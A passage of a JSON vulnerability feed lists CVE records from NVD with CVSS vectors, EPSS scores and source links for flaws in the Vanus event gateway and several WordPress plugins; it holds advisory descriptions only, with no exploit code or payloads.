Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112001&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112001, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112000","cveId":"CVE-2026-112000","aliases":[],"kind":"vulnerability","title":"Vanus 0.8.0 through 0.9.0 contains a missing authorization vulnerability in the gateway that allows any authenticated user to call Subscribe, Ack, and unregistered methods without...","summary":"Vanus 0.8.0 through 0.9.0 contains a missing authorization vulnerability in the gateway that allows any authenticated user to call Subscribe, Ack, and unregistered methods without permission checks. Attackers can supply another tenant's subscription ID to Subscribe to hijack it, read and acknowledge its events, starve the legitimate consumer, and enumerate cluster users via ListUser.","detail":"Vanus 0.8.0 through 0.9.0 contains a missing authorization vulnerability in the gateway that allows any authenticated user to call Subscribe, Ack, and unregistered methods without permission checks. Attackers can supply another tenant's subscription ID to Subscribe to hijack it, read and acknowledge its events, starve the legitimate consumer, and enumerate cluster users via ListUser.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T12:17:12.007Z","updatedAt":"2026-10-22T03:16:32.820Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112000","asOf":"2026-10-22T03:16:32.820Z"},"epss":{"probability":0.00289,"percentile":0.21252,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112000&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112000","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112000","type":"primary","publishedAt":"2026-10-18T12:17:12.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112000&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112000, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111999","cveId":"CVE-2026-111999","aliases":[],"kind":"vulnerability","title":"Vanus 0.8.0 through 0.9.0 contains a missing authentication vulnerability that allows unauthenticated remote attackers to publish events to any eventbus through the gateway...","summary":"Vanus 0.8.0 through 0.9.0 contains a missing authentication vulnerability that allows unauthenticated remote attackers to publish events to any eventbus through the gateway CloudEvents HTTP receiver. Attackers can send forged CloudEvents to the /namespaces/{ns}/eventbus/{name}/events or legacy /gateway/{name} paths, bypassing token authentication and authPublish checks, so they are stored and delivered to subscription sinks.","detail":"Vanus 0.8.0 through 0.9.0 contains a missing authentication vulnerability that allows unauthenticated remote attackers to publish events to any eventbus through the gateway CloudEvents HTTP receiver. Attackers can send forged CloudEvents to the /namespaces/{ns}/eventbus/{name}/events or legacy /gateway/{name} paths, bypassing token authentication and authPublish checks, so they are stored and delivered to subscription sinks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T12:17:11.870Z","updatedAt":"2026-10-20T16:17:01.100Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111999","asOf":"2026-10-20T16:17:01.100Z"},"epss":{"probability":0.00532,"percentile":0.44697,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111999&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111999","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111999","type":"primary","publishedAt":"2026-10-18T12:17:11.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111999&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111999, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110897","cveId":"CVE-2026-110897","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in IdeaBox Creations PowerPack Lite for Beaver Builder...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in IdeaBox Creations PowerPack Lite for Beaver Builder powerpack-addon-for-beaver-builder allows Stored XSS.This issue affects PowerPack Lite for Beaver Builder: from n/a through 1.3.1.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in IdeaBox Creations PowerPack Lite for Beaver Builder powerpack-addon-for-beaver-builder allows Stored XSS.This issue affects PowerPack Lite for Beaver Builder: from n/a through 1.3.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T11:16:37.697Z","updatedAt":"2026-10-19T16:17:03.083Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110897","asOf":"2026-10-19T16:17:03.083Z"},"epss":{"probability":0.00175,"percentile":0.069,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110897&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110897","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110897","type":"primary","publishedAt":"2026-10-18T11:16:37.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110897&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110897, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110895","cveId":"CVE-2026-110895","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in DevItems Support Genix support-genix-lite allows SQL Injection.This issue...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in DevItems Support Genix support-genix-lite allows SQL Injection.This issue affects Support Genix: from n/a through 1.4.54.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in DevItems Support Genix support-genix-lite allows SQL Injection.This issue affects Support Genix: from n/a through 1.4.54.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T11:16:37.577Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110895","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00253,"percentile":0.16588,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110895","type":"primary","publishedAt":"2026-10-18T11:16:37.577Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110383","cveId":"CVE-2026-110383","aliases":[],"kind":"vulnerability","title":"Authorization Bypass Through User-Controlled Key vulnerability in WP E-Signature Electronic Signature Add-on for Fluent Forms signature-fluent-contract-forms-add-on allows...","summary":"Authorization Bypass Through User-Controlled Key vulnerability in WP E-Signature Electronic Signature Add-on for Fluent Forms signature-fluent-contract-forms-add-on allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Electronic Signature Add-on for Fluent Forms: from n/a through 2.0.5.","detail":"Authorization Bypass Through User-Controlled Key vulnerability in WP E-Signature Electronic Signature Add-on for Fluent Forms signature-fluent-contract-forms-add-on allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Electronic Signature Add-on for Fluent Forms: from n/a through 2.0.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T11:16:36.943Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110383","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00295,"percentile":0.22001,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110383&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110383","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110383","type":"primary","publishedAt":"2026-10-18T11:16:36.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110383&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110383, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110382","cveId":"CVE-2026-110382","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows Stored XSS.This issue affects Simply Schedule Appointments: from n/a through 1.6.12.35.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows Stored XSS.This issue affects Simply Schedule Appointments: from n/a through 1.6.12.35.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T11:16:36.827Z","updatedAt":"2026-10-19T16:17:02.883Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110382","asOf":"2026-10-19T16:17:02.883Z"},"epss":{"probability":0.00175,"percentile":0.06901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110382&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110382","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110382","type":"primary","publishedAt":"2026-10-18T11:16:36.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110382&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110382, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110373","cveId":"CVE-2026-110373","aliases":[],"kind":"vulnerability","title":"Incorrect Privilege Assignment vulnerability in Hamid Alinia Login with phone number login-with-phone-number allows Privilege Escalation.This issue affects Login with phone...","summary":"Incorrect Privilege Assignment vulnerability in Hamid Alinia Login with phone number login-with-phone-number allows Privilege Escalation.This issue affects Login with phone number: from n/a through 1.8.77.","detail":"Incorrect Privilege Assignment vulnerability in Hamid Alinia Login with phone number login-with-phone-number allows Privilege Escalation.This issue affects Login with phone number: from n/a through 1.8.77.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T11:16:36.703Z","updatedAt":"2026-10-19T19:17:20.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110373","asOf":"2026-10-19T19:17:20.500Z"},"epss":{"probability":0.00335,"percentile":0.26594,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110373&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110373","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110373","type":"primary","publishedAt":"2026-10-18T11:16:36.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110373&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110373, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109895","cveId":"CVE-2026-109895","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics Booktics booktics allows DOM-Based XSS.This issue affects Booktics:...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics Booktics booktics allows DOM-Based XSS.This issue affects Booktics: from n/a through 1.0.29.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics Booktics booktics allows DOM-Based XSS.This issue affects Booktics: from n/a through 1.0.29.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T11:16:36.320Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109895","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00175,"percentile":0.06917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109895","type":"primary","publishedAt":"2026-10-18T11:16:36.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108485","cveId":"CVE-2026-108485","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGrill eStore estore allows Reflected XSS.This issue affects eStore: from...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGrill eStore estore allows Reflected XSS.This issue affects eStore: from n/a through 1.6.13.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGrill eStore estore allows Reflected XSS.This issue affects eStore: from n/a through 1.6.13.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T11:16:36.047Z","updatedAt":"2026-10-19T16:17:02.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108485","asOf":"2026-10-19T16:17:02.110Z"},"epss":{"probability":0.00175,"percentile":0.06906,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108485&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108485","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108485","type":"primary","publishedAt":"2026-10-18T11:16:36.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108485&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108485, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107436","cveId":"CVE-2026-107436","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in WP Chill Strong Testimonials strong-testimonials allows Object Injection.This issue affects Strong Testimonials: from n/a...","summary":"Deserialization of Untrusted Data vulnerability in WP Chill Strong Testimonials strong-testimonials allows Object Injection.This issue affects Strong Testimonials: from n/a through 3.3.12.","detail":"Deserialization of Untrusted Data vulnerability in WP Chill Strong Testimonials strong-testimonials allows Object Injection.This issue affects Strong Testimonials: from n/a through 3.3.12.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T11:16:34.720Z","updatedAt":"2026-10-19T19:17:19.317Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107436","asOf":"2026-10-19T19:17:19.317Z"},"epss":{"probability":0.00437,"percentile":0.3772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107436&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107436","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107436","type":"primary","publishedAt":"2026-10-18T11:16:34.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107436&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107436, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96534","cveId":"CVE-2026-96534","aliases":[],"kind":"vulnerability","title":"The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 does not sanitise and escape a parameter before using it...","summary":"The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 does not sanitise and escape a parameter before using it in a SQL statement, allowing authenticated users with minimal privileges (Subscriber and above) to perform SQL injection attacks.","detail":"The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 does not sanitise and escape a parameter before using it in a SQL statement, allowing authenticated users with minimal privileges (Subscriber and above) to perform SQL injection attacks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T07:16:53.680Z","updatedAt":"2026-10-19T21:04:50.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96534","asOf":"2026-10-19T21:04:50.950Z"},"epss":{"probability":0.00213,"percentile":0.11555,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96534&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96534","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96534","type":"primary","publishedAt":"2026-10-18T07:16:53.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96534&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96534, scored 2026-10-25. This is a model estimate, not proof of 